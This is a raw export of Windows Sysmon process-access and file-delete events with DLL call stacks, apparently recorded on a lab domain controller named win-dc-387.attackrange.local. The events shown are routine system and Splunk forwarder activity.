14:44:42.268{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000043382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 23542300x800000000000000043381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46EBF00EEDE80C1AD8D487569BA1BD81,SHA256=184BA89642559F61B85658CA2D797BB4BCCA460CBF65D56BCDA60BD92A54F756,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6E00-613B-E006-00000000F001}59925592C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+498a3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5206d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5132f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000043376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000043374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+e5888|C:\Windows\System32\Windows.Storage.dll+1a3c19|C:\Windows\System32\Windows.Storage.dll+1a3a75|C:\Windows\System32\Windows.Storage.dll+e65e6|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000043373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1E09-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=29BAD9AB1BEEE446441136CCB0E9A2D3,SHA256=0D44DF519853BF3C1F7DBC38E35E2840EA5B2C8291A4B95481EC5EAE34B04DB6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.252{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1438C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5eac4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5fb06|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+178f5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0e4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000043364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+4177c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18b13|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18013|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+19af2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft 